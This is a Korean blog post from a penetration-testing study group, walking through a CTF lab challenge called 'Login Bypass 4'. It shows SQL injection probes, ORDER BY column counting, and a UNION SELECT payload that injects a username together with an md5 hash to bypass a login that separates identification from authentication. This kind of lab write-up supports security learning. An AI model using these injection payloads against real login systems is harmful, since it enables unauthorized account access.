모의해킹 스터디 CTF 문제 - Login Bypass 4

2024. 11. 24. 21:22·모의해킹/모의해킹 스터디

이전

2024.11.23 - [모의해킹/모의해킹 스터디] - 모의해킹 스터디 CTF 문제 - Login Bypass 3

 

모의해킹 스터디 CTF 문제 - Login Bypass 3

이번 문제는 normaltic3로 로그인을 성공하면 되는 문제이다. 1. 알고 있는 계정(doldol)으로 입력하여 로그인 후 Burp Suite을 확인특이사항이 없다. 2. 로그아웃 후 해당 값들을 시도UserId: doldol' and '1'=

it-techlog.tistory.com

해당 문제에서 플래그 값을 찾았으나 직접 찾아보는 시도를 해보았다.


Login Bypass 4

이번 문제는 normaltic4로 로그인을 성공하면 되는 문제이다.

1. 알고 있는 계정(doldol)으로 입력하여 로그인 후 Burp Suite을 확인

doldol 로그인

특이사항이 없다.

 

2. 로그아웃 후 해당 값들을 시도

  • UserId: doldol' and '1'='1 / Password: ‘아무 글자’ → 로그인 실패
  • UserId: doldol' and '1'='1 / Password: ‘doldol 비밀번호’ → 로그인 성공
    • sql 인젝션 공격이 가능하다.
  • UserId: doldol' or '1'='1 / Password: ‘아무 글자’ → 로그인 실패
  • UserId: doldol' or '1'='1 / Password: ‘doldol 비밀번호’ → 로그인 실패
    • ‘or’ 글자를 필터링하였다. or 식별/인증 분리 로직이다.
  • UserId: doldol' || '1'='1 / Password: ‘doldol 비밀번호’ → 로그인 실패
  • UserId: doldol' || '1'='1 / Password: ‘아무 글자’ → 로그인 실패
    • ‘||’ 글자를 필터링 하였다. or 식별/인증 분리 로직이다.
  • UserId: doldol' - - / Password: ‘아무 글자’ → 로그인 실패
  • UserId: doldol' - - / Password: ‘doldol 비밀번호’ → 로그인 실패
    • ‘- -’ 글자를 필터링 하였다 or 식별/인증 분리 로직이다.
  • UserId: doldol' # / Password: ‘아무 글자’ → 로그인 실패
  • UserId: doldol' # / Password: ‘doldol 비밀번호’ → 로그인 성공
    • 식별/인증 분리 로직이다.

SQL 구문은

SELECT * FROM 테이블명 WHERE userId = {UserId}
if(dbPassword == {Password}) { }

해당 구조로 예상된다.

doldol 로그인 성공

 

3. 컬럼 개수를 확인

  • doldol' order by 1 # → 로그인 성공
  • doldol' order by 2 # → 로그인 성공
  • doldol' order by 3 # → 로그인 실패
    • 컬럼 개수는 총 2개이다.

 

4. UNION을 사용

  • ' UNION SELECT 'normaltic4', '1234' # → 로그인 실패
    • 컬럼 위치에 맞지 않게 작성이 되었을 가능성이 있다. or 식별 / 인증 로직 중 다른 로직을 고민해봐야 한다.
  • ' UNION SELECT '1234', 'normaltic4' # → 로그인 실패
    • 식별 / 인증 로직 중 다른 로직임을 알 수 있다.
  • 로그인 시 식별 / 인증 분리 로직 중 해시값을 처리해 주는 로직이 있었다.
    • 2024.11.01 - [모의해킹/모의해킹 스터디] - 모의해킹 스터디 3주차 과제(1) - 로그인 케이스 구현
 

모의해킹 스터디 3주차 과제(1) - 로그인 케이스 구현

이번주 과제는2024.10.31 - [모의해킹/모의해킹 스터디] - 모의해킹 스터디 3주차 정리 모의해킹 스터디 3주차 정리로그인 이란?식별과 인증 작업사용자가 데이터를 입력하면, 데이터와 일치하는

it-techlog.tistory.com

  • 해시 값을 처리하는 알고리즘은 다양하게 있다.
    • 2024.11.08 - [Web/웹 보안] - 해시 알고리즘
 

해시 알고리즘

정의해시 알고리즘은 임의의 길이의 데이터를 고정된 길이의 해시 값(혹은 해시 코드)으로 변환하는 수학적 함수.주로 데이터의 무결성을 검증하거나, 암호화에서 비밀번호를 안전하게 저장하

it-techlog.tistory.com

 

5. SQL에서 해시 값으로 변환하는 내장 함수(MD5, SHA-1, SHA-2) 를 적용

  • MD5 > 로그인 성공 
User ID: ' union select 'normaltic4',md5('1234') #
Password:1234
  • SHA-1 > 로그인 실패
User ID: ' union select 'normaltic4',SHA1('1234') #
Password:1234
  • SHA-2 > 로그인 실패
User ID: ' union select 'normaltic4',SHA2('1234', 256) # 
Password:1234
    > MD5 알고리즘이 사용되었다는 걸 알 수 있다.
더보기

로그인 성공 시

 

컬럼명1 컬럼명2
nomaltic4 1234

해당 값으로 데이터가 조회될 것이다.

그 후 작성한 비밀번호를 MD5 알고리즘을 활용하여 조회 된 비밀번호와 비교하고 있다는 것이 예상된다.

위의 결과로 예상 SQL 구문을

SELECT * FROM 테이블명 WHERE userId = {UserId}
if(dbPassword == {md(Password)}) { }

이 처럼 수정 할 수 있다.

 

6. 로그인 성공

플래그 확인

728x90
반응형
저작자표시 비영리 동일조건 (새창열림)

'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글

모의해킹 스터디 CTF 문제 - Secret Login  (0) 2024.11.25
모의해킹 스터디 CTF 문제 - Login Bypass5  (0) 2024.11.25
모의해킹 스터디 CTF 문제 - Login Bypass 3  (0) 2024.11.23
모의해킹 스터디 CTF 문제 - Login Bypass 2  (0) 2024.11.22
모의해킹 스터디 CTF 문제 - Login Bypass 1  (0) 2024.11.22
'모의해킹/모의해킹 스터디' 카테고리의 다른 글
  • 모의해킹 스터디 CTF 문제 - Secret Login
  • 모의해킹 스터디 CTF 문제 - Login Bypass5
  • 모의해킹 스터디 CTF 문제 - Login Bypass 3
  • 모의해킹 스터디 CTF 문제 - Login Bypass 2
BPM37093
BPM37093
luna의 IT기술 정리
  • BPM37093
    IT Study Log
    BPM37093
  • 링크

  • 글쓰기 관리
    • 분류 전체보기 (43)
      • 모의해킹 (37)
        • 웹해킹 (1)
        • 모의해킹 스터디 (36)
      • Web (5)
        • 웹 보안 (1)
        • 웹 크롤링 (1)
      • Data (0)
      • Cloud (0)
      • Network (1)
  • 인기 글

  • 방문자 수

    방문자수Total

    • Today :
  • 태그

    burpsuite
    웹개발
    HttpResponse
    상태코드
    httprequest
    모의해킹스터디
    sqlinjection
    php
    WEB
    메서드
    Chrome
    Network
    티스토리챌린지
    웹해킹
    NAT
    hash
    오블완
    SQL
    mysql
    javascript
    HTML
    HTTP
  • hELLO· Designed By정상우.v4.10.1
BPM37093
모의해킹 스터디 CTF 문제 - Login Bypass 4
상단으로

티스토리툴바